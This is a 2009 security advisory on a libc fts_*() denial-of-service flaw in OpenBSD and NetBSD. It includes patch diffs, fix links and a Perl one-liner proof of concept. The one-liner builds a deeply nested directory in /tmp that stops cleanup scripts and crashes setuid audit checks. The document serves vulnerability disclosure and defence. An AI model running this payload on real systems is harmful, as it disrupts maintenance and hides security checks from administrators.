[libc:fts_*() Multiple Denial of Service ] Author: Maksymilian Arciemowicz Date: - - Dis.: 03.08.2009 - - Pub.: 02.10.2009 We are going inform all vendors, about this problem. Affected Software (official): - - OpenBSD 4.5 (fix available) - - NetBSD 5.0.1 (fix available) probably more... - --- 0.Description --- The fts functions are provided for traversing UNIX file hierarchies. The fts_open() function returns a "handle" on a file hierarchy, which is then supplied to the other fts functions. The function fts_read() returns a pointer to a structure describing one of the files in the file hierarchy. The function fts_children() returns a pointer to a linked list of structures, each of which describes one of the files contained in a directory within the hierarchy. typedef struct _ftsent { unsigned short fts_info; /* flags for FTSENT structure */ char *fts_accpath; /* access path */ char *fts_path; /* root path */ size_t fts_pathlen; /* strlen(fts_path) */ char *fts_name; /* file name */ size_t fts_namelen; /* strlen(fts_name) */ short fts_level; /* depth (-1 to N) */ int fts_errno; /* file errno */ long fts_number; /* local numeric value */ void *fts_pointer; /* local address value */ struct _ftsent *fts_parent; /* parent directory */ struct _ftsent *fts_link; /* next file structure */ struct _ftsent *fts_cycle; /* cycle structure */ struct stat *fts_statp; /* stat(2) information */ } FTSENT; - --- 1. libc:fts_*() Multiple Denial of Service --- In March 2009, we have reported an issue (SREASONRES:20090304) in libc (fts.c). Now we want to present the conclusions and show the usefulness of this vulnerabality. Fix provided by OpenBSD Team will protect us by crash but we think, not for all cases, that are showed in this advisory. Index: fts.c =================================================================== RCS file: /cvs/src/lib/libc/gen/fts.c,v retrieving revision 1.41 diff -u -p -r1.41 fts.c - - --- fts.c 27 Dec 2008 12:30:13 -0000 1.41 +++ fts.c 10 Feb 2009 09:00:24 -0000 @@ -633,6 +633,14 @@ fts_build(FTS *sp, int type) len++; maxlen = sp->fts_pathlen - len; + if (cur->fts_level == SHRT_MAX) { + (void)closedir(dirp); + cur->fts_info = FTS_ERR; + SET(FTS_STOP); + errno = ENAMETOOLONG; + return (NULL); + } + level = cur->fts_level + 1; /* Read the directory, attaching each entry to the `link' pointer. */ So let`s see /etc/rc.d/cleartmp (NetBSD 5.0.1). This script use rm(1) with rf args. Line 40-41: find -x . ! -name . ! -name lost+found ! -name quota.user \ ! -name quota.group -exec rm -rf -- {} \; -type d -prune) here daemon will come to tmp_dir (/tmp) and wants clean it with the sequence "[a-km-pr-zA-Z]*". It will kill this script anytime when they will be started. So if we create directory "A" in /tmp, all other files and directories in alphabetical order, will not be delete. Proof of Concept: User cxib, have created exploit in main /tmp dir. exploit: 127# cd /tmp && perl -e '$a="C"x22;for(1..50000){ ! -d $a and mkdir $a and chdir $a }' In /tmp we have # ls -la total 22 drwxrwxrwt 10 root wheel 512 Aug 11 01:18 . drwxr-xr-x 27 root wheel 1024 Aug 11 00:09 .. drwxrwxrwx 2 root wheel 512 Aug 11 00:49 .ICE-unix - -r--r--r-- 1 root wheel 11 Aug 11 00:11 .X0-lock drwxrwxrwt 2 root wheel 512 Aug 11 00:11 .X11-unix - -rw-r--r-- 1 root wheel 0 Aug 11 01:18 A drwxr-xr-x 2 root wheel 512 Aug 11 01:15 B drwxr-xr-x 3 cxib wheel 512 Aug 6 01:43 CCCCCCCCCCCCCCCCCCCCCC drwxr-xr-x 2 root wheel 512 Aug 11 01:15 D - -rw-r--r-- 1 root wheel 0 Aug 11 01:16 chujwamwmuzg drwx------ 2 root wheel 512 Aug 11 00:49 kde-root drwx------ 3 root wheel 512 Aug 11 01:14 ksocket-root drwx------ 2 root wheel 512 Aug 11 00:11 mc-root correct behavior will delete all files after reboot. So lets do it. # reboot Now we have in /tmp # ls -la total 18 drwxrwxrwt 9 root wheel 512 Aug 11 13:57 . drwxr-xr-x 27 root wheel 1024 Aug 11 14:02 .. drwxrwxrwx 2 root wheel 512 Aug 11 00:49 .ICE-unix drwxrwxrwt 2 root wheel 512 Aug 11 01:19 .X11-unix drwxr-xr-x 3 cxib wheel 512 Aug 6 01:43 CCCCCCCCCCCCCCCCCCCCCC drwxr-xr-x 2 root wheel 512 Aug 11 01:15 D - -rw-r--r-- 1 root wheel 0 Aug 11 01:16 chujwamwmuzg drwx------ 2 root wheel 512 Aug 11 00:49 kde-root drwx------ 3 root wheel 512 Aug 11 01:19 ksocket-root drwx------ 2 root wheel 512 Aug 11 00:11 mc-root file A and dir B has been deleted. But file chujwamwmuzg and directories {D,Cx22} are still avaliable. To resolve, we can use openbsd fix. However, this does not fully resolve the problem. The user can create a direcory (like Cx22) that can not be removed by rm(1). To remove Cx22 folder, we can use program made by openbsd - --- #include <err.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { int ret = 0; while (chdir(argv[1]) == 0) ; warn("chdir"); while (ret == 0) { unlink("du.core"); ret = chdir(".."); if (ret) err(1, "chdir"); ret = rmdir(argv[1]); if (ret) err(1, "rmdir"); } } - --- However, if the attacker uses a random functions, the removal prooccess of such trees will not be easy. libc/fts do not support trees bigger as SHRT_MAX. NetBSD has first changed it to INT_MAX (fix) There are still a few other PoC. If option find_core is "yes" (default), we can turn off this option for root using our exploit in advisory. vulnerable code in file /etc/daily (netbsd) find / \( $ignfstypes \) -prune -o \ -name 'lost+found' -prune -o \ \( -name '*.core' -o -name 'core' \) -type f -print > $TMP under NetBSD root will get - --- Uptime: 3:15AM up 6:22, 9 users, load averages: 0.34, 0.21, 0.18 [1] Segmentation fault (core dumped) find / "(" ${ign... - --- next vulnerable code is located in /etc/security. Option check_devices will display any changes in setuid files and devices. - --- find / $ignexpr \ \( \( -perm -u+s -a ! -type d \) -o \ \( -perm -g+s -a ! -type d \) -o \ -type b -o -type c \) -print0 | \ xargs -0 ls -ldgTq | sort +9 > $LIST - --- in netbsd, after attack root will get - --- Checking setuid files and devices: Setuid/device find errors: ls: /dev/ttyC: No such file or directory [1] Segmentation fault (core dumped) find / ${ignexpr... | Done(123) xargs -0 ls -ldgTq | Done sort +9 >${LIST} - --- in openbsd - --- Checking setuid/setgid files and devices: Setuid/device find errors: find: fts_read: File name too long Removing scratch and junk files: find: fts_read: File name too long - --- We can try find a few others PoC for this issue. We think the system should have more control over file system. Abstract solution are not good. This vulnerability can also prevent use options like per_user_tmp=yes. If the attacker creates such a structure with different names, the administrator will be deprived of opportunities to change settings for /tmp. Affected programs (rm(1),cp(1),find(1),chmod(1),chown(1) etc) are also found in other scripts. - --- 2. Fix --- This fix will change libc:fts structure NetBSD fix: http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/distrib/sets/lists/base/md.amd64#rev1.63 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/distrib/sets/lists/base/md.sparc64#rev1.57 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/distrib/sets/lists/base/shl.mi#rev1.485 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/include/fts.h#rev1.19 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/shlib_version#rev1.214 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/compat/gen/Makefile.inc#rev1.12 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/compat/gen/compat___fts50.c#rev1.1 http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/fts.c#rev1.39 OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/include/fts.h http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fts.c http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/find/function.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fts.3 http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/du/du.c Old OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fts.c http://cxsecurity.com/issue/WLB-2009030012 - --- 2. Contact --- Author: Maksymilian Arciemowicz